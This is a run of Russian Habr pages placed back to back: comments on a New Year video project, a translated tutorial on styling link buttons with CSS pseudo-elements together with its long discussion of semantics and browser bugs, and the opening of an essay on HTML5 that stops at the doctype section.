Ролик отличный, но концовка разочаровала. Думал там будет что-то вроде «давайте изменимся, изменим страну к лучшему» и т.д. А там тупо реклама. :)
titanbull
Спасибо. По-поводу концовки — просто ролик бесполезен, надо более сложную систему строить. Мы же рекламируем проект-продолжение самого ролика
Nos_S_Dest
Так я о том же. Это его и портит, к сожалению.
На самом деле, куда лучшее впечатление сложилось бы, если бы ролик заканчивался на 2:06.
Либо парой фраз, аналогичных фразе «для начала разберемся, как нормально жить, не нарушая закон».
Nos_S_Dest
тогда он был просто развлекаловкой, фриман с этой ролью справляется лучше
zemel
Ну не развлекаловкой, а очень даже неплохим роликом, с хорошим посылом на новый год, которым можно было бы поделиться с друзьями/знакомыми, а делиться рекламой, сами понимаете — мало кто захочет.

Извините за занудство. С наступающим вас и успехов в работе! :)
Nos_S_Dest
И вас с наступающим!
SteelRat
Концовка…
«1% просморов этого ролика отправляется в Российский союз правообладателей».
Я бы туда и все 100% отправил, пусть пилят ;)
Nos_S_Dest
100% гранита.
SteelRat
Мне не понравилось. Техника неплохая, а содержательная и описательная части подкачали.

А что собственно будет, если к Вам пойдёт поток образовательно-просветительского видео? Как вы его будете классифицировать? Вести поиск? Будете привлекать экспертов для оценок? Каких экспертов? По каким областям и направлениям работать? Где хранить будете, как отдавать, какое ПО использовать?

Вот на все эти вопросы (и прочие, в том же духе) очень интересны. Как минимум SMART. Это основа проекта. И именно эта основа могла бы быть особенно интересна на хабре.

Напомню историю про селигерские социальные ролики. Оттого, что свиньи в Ашане ели просроченную продукцию и тысячи человек на youtube это увидели — ничего не изменится. А 2000 заявок в контролирующие органы могли бы изменить. Об этом кстати говорили и Онищенко и Нургалиев (столь нелюбимые в массах). Я, кстати, лично организовывал запись этих встреч.

А просто ролик за «мир во всём мире» без проработанной и опубликованной (!) стратегии — неинтересен. Лично мне по крайней мере. И, надеюсь, экспертам хабра.

Хотя если расценивать пост исключительно как пиар вашей компании — то вопросов нет. Ролики вы делаете качественно. Планирую сделать заказ.

PS Ну и сколько можно про карму писать, как-то невежливо это.
Nos_S_Dest
Мы не хотим своим роликами давить на власти, руководство каких либо компаний итд. Нам интересна работа с обычными людьми. На наш взгляд, сейчас именно здесь застой. Все чего-то требуют, но сами ничего делать не хотят
SteelRat
хм… а упоминание компаний, проектов и личностей в роликах — это разве не давление? или это пыар?
Nos_S_Dest
нет, не было такой задачи. Совершенно точно ролик никак не может повлиять на решение «сильных мира сего»
keatis
Ролик не понравился. Прошлые были лучше и по качеству и по «цепляемости».
SkazochNik
Сейчас пересмотрел старые ролики. Технически осталось так же. Но не цепляет, всё это и так пульсирует в интернете. Может надо что-то новое сделать?
yasha_somov
А мне понравилось. Не уверен, что от этих роликов будет мало-мальски серьезный выхлоп в социальном плане. Но на мой непрофессиональный зрительский вкус — ролики хорошие. Молодцы.
Nos_S_Dest
Спасибо, по-поводу выхлопа — посмотрим, что-делать, на наш взгляд лучше чем ждать, пока кто-то что-то сделает
urs
Текст заметки понравился.
Надо все брать в свои руки, только это сложно, быть врачом, пожарным и милиоционером одновременно. А самое главное, они не дадут этого сделать. У них ведь, кроме этого ничего нет.
Nos_S_Dest
Я не думаю, что они будут что-то не давать сделать. Это и в их интересах тоже
0nly0ne
Спасибо за ролик, буду распространять.
0nly0ne
Вам спасибо
Die_Gelassenheit
За 4 часа количество просмотров увеличилось на 8 тысяч (с 6 до 10 по МСК).
Кажется у вас получается, посмотрим в конце дня. Удачи!

P.S. Передал ссылки знакомым)
Nos_S_Dest
Спасибо, 8 тысяч это пока очень мало, но динамика хорошая
gene4000
вот я так же про рост говорю, а не про количество.
Но это пока что...:)
Nos_S_Dest
Молодцы, респект Вам.
Ролик, берет, за душу, даже забыл что новый год через пару часов.
coolmiha
Рад, спасибо
Nos_S_Dest
Только когда плюсанул, увидел, что пост в хороших плюсах и приятно удивился.
Начинаю сомневаться в людях, что-то надо делать.
Ссылок поставил, авторам удачи в этом деле, ролики действительно заставляют задуматься.
bstan
Большое спасибо
Nos_S_Dest
Спасибо за отличный ролик. Единственное с чем не соглашусь — «ё». Я всей душой болею за этот проект, потому что в нем нету гос денег и, надеюсь, не так пилят как в правительстве. Мне кажется, это достойная инициатива, и я желаю ему всяческих успехов.

bstan
Мы не над концепцией и не над автомобилем стебались, только над названием. Саму инициативу мы одобряем и поддерживаем. Они большие молодцы
MichaelN
Soundtrack бы отдельно…
Nos_S_Dest
Отличный ролик)) настроение сразу же поднялось, т.к не вся правда была показана)
NAZGULhabr
lurkmore.ru детектед (2:49)


Здравствуйте, друзья. За последний месяц я экспериментировал с псевдо-элементами, особенно, с их использованием в создании кнопок. Таким образом, удалось создать крутые эффекты, которые раньше можно было сделать только со спрайтами.

В этом уроке я покажу как создать кнопку с изюминкой, используя только якорный тег и мощь CSS.



Используется шрифт «Open Sans» Стива Мэттсона.

Дисклеймер

Я не буду использовать CSS префиксы в данных примерах, но вы найдете их в исходных файлах.

Я не использовал свойство transition, потому что только Firefox поддерживает его в псевдо-элементах. Кроме этого, я считаю что кнопки работают хорошо и без его использования.

Разметка


Для работы всех кнопок пригодится только якорь, все остальные элементы мы будем создавать с помощью псевдо-класса ::before.

<a href="#" class="a_demo_one">
     Click me!
</a>


Первый пример




Я думаю это самый легкий пример, который делается обычным CSS.

Стили


Прежде всего, зададим основные стили для кнопки в обычном и активном состоянии. Обратите внимание, что кнопка позиционирована относительно. Это поможет при позиционировании элемента ::before:

.a_demo_one {
	background-color:#ba2323;
	padding:10px;
	position:relative;
	font-family: 'Open Sans', sans-serif;
	font-size:12px;
	text-decoration:none;
	color:#fff;
	border: solid 1px #831212;
	background-image: linear-gradient(bottom, rgb(171,27,27) 0%, rgb(212,51,51) 100%);
	border-radius: 5px;
}

.a_demo_one:active {
	padding-bottom:9px;
	padding-left:10px;
	padding-right:10px;
	padding-top:11px;
	top:1px;
	background-image: linear-gradient(bottom, rgb(171,27,27) 100%, rgb(212,51,51) 0%);
}


Теперь сделаем серый контейнер вокруг кнопки, используя псевдо-элемент ::before. Абсолютное позиционирование сделает нашу жизнь легче при позиционировании самого элемента.

.a_demo_one::before {
	background-color:#ccd0d5;
	content:"";
	display:block;
	position:absolute;
	width:100%;
	height:100%;
	padding:8px;
	left:-8px;
	top:-8px;
	z-index:-1;
	border-radius: 5px;
	box-shadow: inset 0px 1px 1px #909193, 0px 1px 0px #fff;
}


Второй пример




Этот пример немного сложнее из-за 3D-эффекта. Изначально кнопка находится за пределами контейнера, затем, при щелчке она уходит вниз:

.a_demo_two {
	background-color:#6fba26;
	padding:10px;
	position:relative;
	font-family: 'Open Sans', sans-serif;
	font-size:12px;
	text-decoration:none;
	color:#fff;
	background-image: linear-gradient(bottom, rgb(100,170,30) 0%, rgb(129,212,51) 100%);
	box-shadow: inset 0px 1px 0px #b2f17f, 0px 6px 0px #3d6f0d;
	border-radius: 5px;
}

.a_demo_two:active {
	top:7px;
	background-image: linear-gradient(bottom, rgb(100,170,30) 100%, rgb(129,212,51) 0%);
	box-shadow: inset 0px 1px 0px #b2f17f, inset 0px -1px 0px #3d6f0d;
	color: #156785;
	text-shadow: 0px 1px 1px rgba(255,255,255,0.3);
	background: rgb(44,160,202);
}


Стили


А вот здесь уже сложнее:

Так как положение псевдо-элемента зависит от родительского элемента, то при перемещении родительского элемента на несколько пикселей, псевдо-элемент необходимо переместить на столько же пикселей, но в другую сторону.

.a_demo_two::before {
	background-color:#072239;
	content:"";
	display:block;
	position:absolute;
	width:100%;
	height:100%;
	padding-left:2px;
	padding-right:2px;
	padding-bottom:4px;
	left:-2px;
	top:5px;
	z-index:-1;
	border-radius: 6px;
	box-shadow: 0px 1px 0px #fff;
}

.a_demo_two:active::before {
	top:-2px;
}


Третий пример




Это одна из моих любимых кнопок, так как такой еще не было, перед тем, как я ее создал. Кажется, людям она очень нравится. Кнопка разделена на две части, и когда вы нажимаете на нее, она как бы «ломается».

Стили


Опять таки, начнем с легкой части. Обратите внимание на то, что здесь появился отступ. Он необходим для компенсирования ширины псевдо-элемента, если нужно расположить кнопку по центру. Если же не нужно, то отступ можно не использовать.

.a_demo_three {
	background-color:#3bb3e0;
	font-family: 'Open Sans', sans-serif;
	font-size:12px;
	text-decoration:none;
	color:#fff;
	position:relative;
	padding:10px 20px;
	border-left:solid 1px #2ab7ec;
	margin-left:35px;
	background-image: linear-gradient(bottom, rgb(44,160,202) 0%, rgb(62,184,229) 100%);
	border-top-right-radius: 5px;
	border-bottom-right-radius: 5px;
	box-shadow: inset 0px 1px 0px #2ab7ec, 0px 5px 0px 0px #156785, 0px 10px 5px #999;
}

.a_demo_three:active {
	top:3px;
	background-image: linear-gradient(bottom, rgb(62,184,229) 0%, rgb(44,160,202) 100%);
	box-shadow: inset 0px 1px 0px #2ab7ec, 0px 2px 0px 0px #156785, 0px 5px 3px #999;
}


Перейдем к псевдо-элементам:

.a_demo_three::before {
	content:"·";
	width:35px;
	max-height:29px;
	height:100%;
	position:absolute;
	display:block;
	padding-top:8px;
	top:0px;
	left:-36px;
	font-size:16px;
	font-weight:bold;
	color:#8fd1ea;
	text-shadow:1px 1px 0px #07526e;
	border-right:solid 1px #07526e;
	background-image: linear-gradient(bottom, rgb(10,94,125) 0%, rgb(14,139,184) 100%);
	border-top-left-radius: 5px;
	border-bottom-left-radius: 5px;
	box-shadow:inset 0px 1px 0px #2ab7ec, 0px 5px 0px 0px #032b3a, 0px 10px 5px #999 ;
}

.a_demo_three:active::before {
	top:-3px;
	box-shadow:inset 0px 1px 0px #2ab7ec, 0px 5px 0px 0px #032b3a, 1px 1px 0px 0px #044a64, 2px 2px 0px 0px #044a64, 2px 5px 0px 0px #044a64, 6px 4px 2px #0b698b, 0px 10px 5px #999 ;
}


Четвертый пример




На этот раз мы будем использовать псевдо-элемент для стрелки, используя фоновое изображение. Вместо изображений так же можно использовать эти шрифтовые иконки.

Стили


.a_demo_four {
	background-color:#4b3f39;
	font-family: 'Open Sans', sans-serif;
	font-size:12px;
	text-decoration:none;
	color:#fff;
	position:relative;
	padding:10px 20px;
	padding-right:50px;
	background-image: linear-gradient(bottom, rgb(62,51,46) 0%, rgb(101,86,78) 100%);
	border-radius: 5px;
	box-shadow: inset 0px 1px 0px #9e8d84, 0px 5px 0px 0px #322620, 0px 10px 5px #999;
}

.a_demo_four:active {
	top:3px;
	background-image: linear-gradient(bottom, rgb(62,51,46) 100%, rgb(101,86,78) 0%);
	box-shadow: inset 0px 1px 0px #9e8d84, 0px 2px 0px 0px #322620, 0px 5px 3px #999;
}

.a_demo_four::before {
	background-color:#322620;
	background-image:url(../images/right_arrow.png);
	background-repeat:no-repeat;
	background-position:center center;
	content:"";
	width:20px;
	height:20px;
	position:absolute;
	right:15px;
	top:50%;
	margin-top:-9px;
	border-radius: 50%;
	box-shadow: inset 0px 1px 0px #19120f, 0px 1px 0px #827066;
}

.a_demo_four:active::before {
	top:50%;
	margin-top:-12px;
	box-shadow: inset 0px 1px 0px #827066, 0px 3px 0px #19120f, 0px 6px 3px #382e29;
}


Пятый пример




Этот пример не очень крутой, но вы можете его доработать по своему усмотрению.

Стили


.a_demo_five {
	background-color:#9827d3;
	width:150px;
	display:inline-block;
	font-family: 'Open Sans', sans-serif;
	font-size:12px;
	text-decoration:none;
	color:#fff;
	position:relative;
	margin-top:40px;
	padding-bottom:10px;
	padding-top:10px;
	background-image: linear-gradient(bottom, rgb(168,48,232) 100%, rgb(141,32,196) 0%);
	border-bottom-right-radius: 5px;
	border-bottom-left-radius: 5px;
	box-shadow: inset 0px 1px 0px #ca73f8, 0px 5px 0px 0px #6a1099, 0px 10px 5px #999;
}

.a_demo_five:active {
	top:3px;
	background-image: linear-gradient(bottom, rgb(168,48,232) 0%, rgb(141,32,196) 100%);
	box-shadow: inset 0px 4px 1px #7215a3, 0px 2px 0px 0px #6a1099, 0px 5px 3px #999;
}

.a_demo_five::before {
	background-color:#fff;
	background-image:url(../images/heart.gif);
	background-repeat:no-repeat;
	background-position:center center;
	border-left:solid 1px #CCC;
	border-top:solid 1px #CCC;
	border-right:solid 1px #CCC;
	content:"";
	width:148px;
	height:40px;
	position:absolute;
	top:-30px;
	left:0px;
	margin-top:-11px;
	z-index:-1;
	border-top-left-radius: 5px;
	border-top-right-radius: 5px;
}

.a_demo_five:active::before {
	top: -33px;
	box-shadow: 0px 3px 0px #ccc;
}


В заключение


Ну, вот и все. Не забывайте, что эти создание этих кнопок является экспериментом, так что не каждый браузер будет корректно их отображать.

Спасибо за чтение этого урока, я надеюсь, вы найдете ему применение.

Демонстрация | Исходники
ddenisyuk
Понимаю что пост не о дизайне, но кнопки в 3-м и 4-м примере очень понравились
parfen
их таааааааак приятно нажимать )
easterism
В 4-ом примере если нажать на стрелочку, уже не так приятно получается :)
kolyuchii
Мне кажется, что пост всё же о дизайне.
Zibx
Если отпустить мышь за пределами кнопок, то осуществляется неверное поднятие, в результате которого оно не происходит.
ddenisyuk
Взорвал мне мозг.
Sterhel
Отпустить мышь за пределами кнопок мыши, всё ок.
smind
в ФФ не всё ок, кнопка остаётся вдавленой
hshhhhh
В опере всё нормально.
admhome
А Вы кнопку утаскивайте не только влево/вправо, но и вверх/вниз, у меня на опере баг проявился.
Xazzzi
Тестер интерфесов детегтед!
Xazzzi
интерфейсов, конечно же…
Zibx
Боже упаси, но обычно сам не оттестишь — завалят багами.
bulletproofcupid
Очень круто, спасибо большое! Открыл третий пример, жмякал по кнопочке и наслаждался.
EvgeniyLazarev
причем мы сейчас обсуждаем css 2.1 )) согласен что много подобных постов, но эта статься тоже интересная и немногословная
michaelarshinov
> Ни конца, ни края нет людской радости от изучения CSS3…
Как будто что-то плохое.
jab
Посмотрел в IE 9-ом, поржал :)
WorldCount
а мне грустно.
resurection
Смешно вот это:

«HTML5 является ядром Internet Explorer 9, а благодаря широкой поддержке таких веб-стандартов, как HTML5, CSS3, Canvas, SVG и многих других вам доступно больше инструментов для создания более прекрасного Интернета.»

msdn.microsoft.com/ru-ru/ie/aa740469
WorldCount
А над чем ржать? Там вроде всё кроме градиентов (которые для каждого браузера свои прописываются, а для webkit'а еще и в двух экземплярах, автор спокойно мог добавить градиенты через filter).

Добивает, что для каждого свойства городят свои префиксы, ну сделайте что-то типа -beta-linear-gradient, -draft-linear-gradient, это же не они придумали это свойство, оно есть в черновике стандарта…

Кстати Opera 11.6 почему кружок со стрелкой прибила к верхнему краю.
zapimir
Это очень логично, т.к. на стадии тестирование у каждого свои косяки. И если, например, хром нормально будет поддерживать super-property а опера его будет поддерживать частично (глючить), то мы не сможем включить его для хрома так, чтобы в опере было нормально.
nick4fake
Имхо, от этого был бы толк, если бы новые версии браузеров не появлялись с такой частотой. А так на деле получается так пробуем свойство во всех браузерах основных, если более менее одинаково работает, то юзаем, если нет, просто откладываем на потом (я не говорю о тестовых сайтах, задача которых показать, как работает эта фича).
Косяки есть и сейчас причем на вещах которые якобы уже стандартны. Например, в Opera не пашет text-overflow: ellipsis для ячеек таблицы, в хроме тоже косяки с таблицами были, пришлось для хрома даже хак писать. Лучше бы сделали условные операторы как в IE, чтобы можно было без ручного определения браузера, и даже без JS, юзать разный код для разных браузеров.
zapimir
Фильтры в ИЕ ведут к прекращению работы border-radius у элемента. Так что тут надо выбирать: либо круглое, либо градиентное.
Softlink
CSS Gradients for IE9 — и кругло и с градиентом.

А вообще есть полноценный сервис по создаю кроссбраузерных градиентов: Ultimate CSS Gradient Generator
nikitammf
OMG, есть же Compass.
philpirj
И да, оно работает с IE.
philpirj
Оно не работает с IE9, как писалось выше, фильтры не работают с border-radius, поэтому градиент необходимо делать через SVG.
nikitammf
Два из четырех углов можно спасти, сделав один цвет градиента обычной заливкой, а поверх наложив градиент из другого цвета в прозрачность (#00xxxxxx в IE-шной ARGB).
SelenIT2
Чтобы было кроссбраузерно, надо делать картинками.

Но тоже придётся кое с чем мириться.
kolyuchii
>Посмотрел в IE 9-ом, поржал :)

залейте скриншот если не трудно, девятый ослик не у всех под рукой есть
adminimus
Это 4-ый пример: habrastorage.org/storage2/a10/339/88f/a1033988f46656651dec9ae24e04cd82.png
Картинку нормально запилить не могу, карма.

Все 5-ть примеров выглядят одинаково :)
В «Представлении совместимости» так же ничего не меняется.
WorldCount
Надо сбацать музыкальный сайт с интерфейсом в виде стааааарой кассетной деки, где кнопки залипали, и использовать там данный пример.
Sterhel
Вот здесь есть неплохой пример: habrahabr.ru/blogs/css/105267/
RubyRoid07
Шикаррно :) Особенно понравился пример 4 с демо-сайта, кликал минут 5.
Xazzzi
Прекрасно! Как бы не стало мэйнстримом…
А то все хорошие штуки начинают доставать, когда они на всех абсолютно сайтах/блогах/и.т.п.
Xlab
Охренительно! В 3 примере косячок с тенью от ненажимающегося элемента, да и вообще с тенями борщит порой автор, а в целом просто невообразимо красиво! Скорее бы вот так просто можно было все это использовать, без мозголомни с тем же IE.
0n1y_0ne
и на семантику плевать, конечно! главное, что можно кликать левой кнопкой!
arty
С семантикой всё в порядке. Такой приём довольно просто использовать для любого тега.
kolyuchii
довольно просто использовать для любого тега, поэтому пример кнопки мы сделаем именно на ссылке, так держать
arty
Поддерживаю! Чай, не времена HTML 2.0/3.2 на дворе, когда стилизуемых интерактивных элементов, окромя ссылок, совсем не водилось (ну <input type="image"> еще:). Сейчас, в эпоху, когда наконец стали управляемыми нативные button-ы, а со скриптами можно вообще навесить любую функциональность на что угодно, хоть на span, глупо ограничивать себя стереотипами икснадцатилетней давности. А особенно умиляет «героическая» борьба с дефолтным действием ссылок (все эти onclick="return false" и т.п.) — ну зачем, зачем, когда есть куча других интерактивных элементов (а активировать с клавиатуры можно вообще любой элемент с tabindex-ом)?..
kolyuchii
Автор не заставляет делать кнопки из ссылок, не говорит, что это правильно. Он выложил идею.

Если капать глубже и перейти на иной уровень абстракции, можно понять, что всё очень даже семантично.

Судите сами: суть статьи — показать, что кнопки можно делать с помощью псевдоэлементов и одного тега. Один тег есть? Есть! Псевдоэлементы есть? Есть! Всё. Больше от этой статьи не требуется ничего.
SelenIT2
Не лезьте в чужую голову.
Никто не помрёт, если сделает кнопку из ссылки. Если человеку интересно верстать он очень скоро научится делать это правильно вне зависимости от этой статьи. Согласитесь, она всё же не о семантике, а о методе. Хотя наверное скорее даже просто о дизайне.
kolyuchii
Строго говоря, да, это лишь перевод — перевод неплохой статьи по дизайну, с описанием логичного метода решения дизайнерской задачи. Но т.к. аудитория Хабра всё-таки уровнем повыше и пресловутую суть вещей видить чуть более комплексно — если бы в ней была ремарка от переводчика а-ля «Кстати, так можно делать не только со ссылками, вот вам пожалуйста пример раз с button и пример два со span» — ее образовательная ценность возросла бы в разы. Имхо.

Хотя и так неплохо, но за всеми непонятный HTML обидно...
arty
Если уж так печётесь о новичках — накатайте годную статью о семантике. Для новичков это будет полезнее ваших комментариев.
kolyuchii
статей по семантике уже много, именно поэтому обидно видеть статьи по другим темам, где семантика игнорируется напрочь. А с подходом «никто не помрёт» российская милиция работает, только вот почему-то на него все жалуются
SelenIT2
Знаете, американская гуглопочта как-то живёт с не семантичными кнопками. И мы все как-то работаем с ней.

А про милицию — это вас занесло. Не при чём она тут.
kolyuchii
у гугла для семантики куча других атрибутов в кнопки напихана, хотя и фейлов у них достаточно. Можно сделать лучше.

а занесло скорее вас со смертями. Да, веб-разработка обычно не имеет дела с жизнью и смертью, но это не повод учить новичков делать фигню
arty
ясно, про wai-aria вы не слышали

новички не обчитаются, большинство новичков делает минимально необходимый с их точки зрения объём работы
kolyuchii
При чём тут это? Не путайте технологию с семантикой.
arty
об этом я уже не буду спорить
в любом случае можно делать лучше гугла
kolyuchii
Лучше можно сделать всегда. Но гуглопочта отлично работает уже сейчас.
arty
Тогда исправьте эту статью и отправьте в гугл. Я думаю, они сразу всё поймут и исправятся)
kolyuchii
то есть, из хороших примеров они не скопируют хороший код?
arty
Копируют, конечно копируют. Но не вдумываются. А просто копипастят. А то, что они напишут сами — ни от каких примеров не зависит. Т.е. опять же образовательный смысл примеров для «новичков» стремиться к нулю. А опытный разработчик, как вы сами заметили, и так всё поймёт.
kolyuchii
В текущем варианте гуглопочты (по крайней мере том, что открывается у меня), первые три наугад тыкнутые файрбагом кнопки вполне семантичные — на базе div с role=button. Ламерских «ссылкокнопок в никуда» на нем лично я не наблюдаю.
arty
kolyuchii
Кто мешает добавит role к примерам в статье?
Зачем придираться к семантике, если на деле, она играет третьестепенное значение.
kolyuchii
Повесьте на эту ссылку переход по страницам. Делов-то!
arty
А смысл?.. :)
kolyuchii
Смысл в том, что статья не о семантике, а о методе. Если голова есть — применишь правильно.
SelenIT2
Хорошо, когда есть хороший метод. Плохо, когда у начинающих складывается впечатление, что единственное, что может реагировать на действия юзера — это ссылка. Совсем плохо, когда единственным решением кажется искусственно навесить на кнопку переход по ссылке (напрочь не нужный по задаче) — просто «чтоб было, раз положено» — вместо того, чтобы взглянуть на остальную сотню элементов HTML. И просто головы со спецификацией, увы, не всегда достаточно для правильного применения инструментов с первой попытки — иначе не было бы такого кол-ва холиворов «про семантику»… :)

Но действительно, толку от моего брюзжания немного, так что закругляюсь :)
kolyuchii
заинтересовавшихся 10%, остальные 90% не разбираются, а копируют примеры, создавая таким образом большую часть веба. Поэтому и нужно примеры сразу делать правильными
SelenIT2
Остальные 90% перестанут верстать спустя первые полгода, а их проекты умрут ещё быстрее.
kolyuchii
Вы не сильно от меня отличаетесь. Примером в одной статье улучшить работу 90% верстальщиков.
SelenIT2
вы какие-то странные вещи вычитываете в моих буквах, дальше я с вами спорить не буду
kolyuchii
Хорошо, засчитаю ваши каменты как вброс)
SelenIT2
А еще кнопку третьего типа можно использовать для счетчика каких-нибудь «лайков». Цифра удачно стоит)
kolyuchii
Ненавижу отсутствие :active у кнопок на многих сайтах.
Разве так трудно сделать эффект нажатия? Ведь так и хочется чтобы кнопка проваливалась, или меняла цвет…
SelenIT2
У вас там яндекс.метрика стоит, покажите карту кликов для 3его примера. Уж очень интересно…
kolyuchii
Поддерживаю!
А в целом — красиво получилось! Однозначно +
arty
Не зря я ее все таки ее прикрутил :)



Всего кликов: 78600

kolyuchii
А как объясняются зеленые пятна в левой части?
arty
Видимо, там тоже кликали :)
kolyuchii
На пятой кнопке думаю не хватает при нажатии смещать текст вниз вместе с кнопкой, иначе теряется сам эффект «реалистичности» как на остальных 4-х кнопках.
arty
Пример 3
Мне немного показалось не совсем логичным, то при нажатии на циферку, нажимается кнопка рядом, а циферка остается. ИМХО, не должно ничего происходить, только когда саму кнопочку нажмешь, тогда надо «нажиматься».
kolyuchii
Поддерживаю. Мне тоже этот момент показался нелогичным. Совсем было бы круто, если бы циферка прибавлялась.
TheIseAse
а у меня в опере почему-то не всё ок с 4 примером :( стрелочки улетели вверх( ver. 11.60
Night_Coder
Та же версия Оперы, та же проблема.
egge
У вас примере кода для первой кнопки пропущена тень:

.a_demo_one {
    ...
    box-shadow: 0 1px 0 #7FD2F1 inset, 0 1px 0 #FFFFFF;
}
limon_spb
Все красиво, спасибо за примеры.
Вот только если захочется прикрутить анимацию на CSS3 то придется отказываться от псевдоэлементов :(…
nabliker
Автору желательно бы указать об этом в посте, сам натыкался на подобный недостаток.
ruikarikun
Это написано в заключении.
nabliker
Ошибся, это написано в дисклеймере.
antonzaycev
Красиво. странно что даже ФФ3.6 косится на некоторые кнопки.
Gruxon
там с padding что-то не то в ФФ3.6
mgrach
Пример №2 — больше напоминает «рычаг», а не кнопку… а 3 и 4 — волшебны!
eno_one
Красивые кнопки, но прежде чем постить очередной пост о кнопках на CSS3, удивите народ, сделайте их хоть по всем правилам — clip2net.com/s/1tHso (ie7) обязательно учтите fallback для старых браузеров, понятно что там кнопки будут просто синими прямоугольниками, но кликаться вне области кнопки точно не должны.
Dimoniusis
ИМХО — старые браузеры должны умереть!
agatische
Пусть там будет не красиво, но основые действия должны работать, IE7 еще 3%.
Glivera
Оппа! Пошёл на сайт демо кнопки опнаживать и облом.

Виртуальный сервер salavat.me не существует или отключен.

Operatino
опнаживать=понажимать
nabliker
Идите на оригинальный: tympanus.net/Tutorials/CSSButtonsPseudoElements/index2.html
nabliker
Добавил в пост работающие ссылки.
PSNet
Виртуальный сервер salavat.me не существует или отключен.

Положите на jsFiddle.
PSNet
Спасибо за совет, добавил ссылку в конце поста.
BlackGod
Ну все, положили сайт :)
Operatino
Чрезмерное нажатие на кнопки вызывает повышенный износ псевдо-элементов, а также может привести к поломке деталей сервера :)
BlackGod
У меня (Linux, FF9):
— нет стрелки на 4й кнопке — на jsfiddle-то картинки нет. Решается использованием '→' в content, но стрелка при этом получается не по центру кружочка. Варьирование padding-top приводит к искажению кружка в эллипс;
— на 3й кнопке элемент :before выше, чем 'click me'. Варьирование font-size желаемого эффекта не дало.
Operatino
Кнопки на столько приятны, что при нажатии вызывают улыбку.
timukas
Хочу сказать спасибо всем, кто повышал рейтинг статьи, оставлял комментарии, плюсовал карму, мне это безумно приятно, так как я здесь совсем не давно, и, честно говоря, не ожидал такого хорошего отношения со стороны Хабражителей :)

Благодаря вам я получил годовую подписку на Букмейт, хотя сегодня сам хотел оплатить подписку на месяц :)

Постараюсь в дальнейшем радовать вас новыми переводами хороших статей :)

timukas
сейчас разбираюсь с подобными тенями, поэтому вопрос: есть ли способ, чтобы это открылось на эксплорере ниже 9?
не подскажите?
kost
Подскажите, а можно ли сделать (например во втором примере) так, чтобы в меню:


Home
Prices
Feedback



Ссылка active отображалась зажатой кнопкой. Т.е. на активной страничке кнопка зажата, а на остальных — выпуклая. При переходе на другую, другая становилась зажатой…

У меня не выходит :(
nabliker
Хабр не позволяет теги вставлять =( Если можно в ЛС

Home
Prices
Feedback


philpirj
Не знаю почему, но мои кнопки не всегда срабатывают. Бывает что нажимаешь по кнопке — анимация отображается, но на другую страничку не переходит. Opera + IE. Перемудрил наверное с подпиливанием под себя :(
nabliker
Стал разбираться, чтобы сделать себе подобные кнопки, и обнаружил серьезный баг.
Дополнительные элементы кнопок засунуты под основной блок при помощи «z-index: -1» — но это прячет их под фон контейнера, делая невидимыми.
В демке они видны только благодаря тому, что фон обрамляющего контейнера полупрозрачный. Но и то, он искажает цвета.
Выходит, что этим кнопкам обязательно нужна дополнительная обертка со значением z-index > 0

Стандарт HTML5 уже почти готов к использованию. Где-то все еще идут жаркие споры по конкретным секциям DOM, видеокодекам, анимации и прочим 3D, но основа HTML5 — его синтаксис, атрибуты и теги — уже устаканились. Эти разделы стандарта не меняются уже многие месяцы; окончательно и по факту их зафиксируют релизы IE9 и FF4, после чего какие-либо их изменения в рамках пятой версии станут невозможны.
Так как костыли для старых версий IE уже созданы и обкатаны, то уже совсем-совсем скоро, начиная новый проект, можно будет открыть свой любимый редактор и, не скрывая наслаждения, написать

<!doctype html>

Сначала, конечно, html5 появится скорее в бложиках энтузиастов, чем на серьезных сайтах, но — вот увидите — через несколько лет в каждой региональной газете появятся объявления типа «ремонт и настройка ПК, заправка принтеров, 1С, сайты на HTML5».

В IT, как и в других областях техники, спецификации бывают хорошие, как у Страуструпа, а бывают плохие и даже отвратительные, как спецификация ECMAScript. По моему скромному мнению, спецификация HTML5 обещает стать воистину великой, просто-таки образцовой вершиной этого бюрократического жанра.
Пролистывая на выходных свежую версию черновика стандарта (от 5-ого марта), я в очередной раз не мог не восхититься изящностью принятых решений и филигранной точностью формулировок родившейся в тяжелых муках спецификации.

Эта статья о том, почему стандарт html5 получился именно такой, и что на самом деле скрывается за его внешне обтекаемыми формулировками.

Разработка HTML5 началась с революции — откола рабочей группы WHATWG в лице Mozilla, Opera и Apple от основного консорциума. Я не хочу пересказывать всю историю, но главной причиной раскола стало то, что в www-консорциуме («w3c») практически не осталось ни людей, связанных с реальным использованием html, ни даже разработчиков браузеров. Консорциум превратился в сборище корпоративных бюрократов, решавших свои собственные конкурентные и маркетинговые задачи.
В конечном итоге, конечно, бунтарям пришлось «покаяться» и получить необходимое благословение официальной бюрократии, поэтому многие места содержат формулировки, которые выглядят компромиссом, если не сказать прогибом. Но в техническом плане стандарт был создан не «демократически», а группой под авторитарным управлением Яна Хиксона, бывшего на тот момент разработчиком Оперы, и большинство компромиссов на самом деле имеют двойное дно.

Стоит отметить, что даже в режиме авторитарного управления разработка стандарта потребовала семи лет жарких споров, которые продолжаются на периферии и до сих пор. Я отлично понимаю, что «не всех война убила», и что публично поддерживая то или иное решение WhatWG, я отчаянно рискую своей кармой. Плевать; если хоть кого-то статья заставит задуматься, я буду рад. Как говорят на одном популярном Л-ресурсе, перед вами статья-детектор, в (комментах к) которой пока не хватает ненависти.

Повторюсь, в этой статье я не претендую на абсолютную истину. Моё «политическое кредо» определяется тем, что я в первую очередь практик. Я сверстал собственноручно сотни сайтов, на работу в своей студии я нанимал и увольнял десятки верстальщиков и подтирал за ними тысячи ляпов и косяков, вызванных неверным применением модных техник. В любом свежем поветрии меня в первую очередь интересует практический эффект, а не обещаемое улучшение моей кармы, длины моего е-пениса или суммы общечеловеческого счастья. Я твердо знаю, что никто кроме меня и моих сотрудников не будет читать мой html код, я смеюсь над попытками сверстать таблицу блоками, я также знаю, что ни пользователи, ни поисковые роботы никогда не увидят разницы между <b> и <strong>. Я искренне считаю, что идеальный код — это тот, которого нет, даже если это усложняет абстрактным неучам написание парсеров к их очередной супер-Х-технологии; я требую, чтобы код любой страницы был чист как слеза младенца, иначе его невозможно будет поддерживать; и я также знаю, что даже самая искренняя вера в мощь XML, верстку блоками, семантику или какой-нибудь еще неведомую разрекламированную фигню не дает автоматического права не думать головным мозгом.

Простите за длинное вступление, я, кажется, увлекся. Итак.

1. Доктайп


Как вы, наверное, уже поняли, в HTML остался всего один тип документа, а именно

<!doctype html>

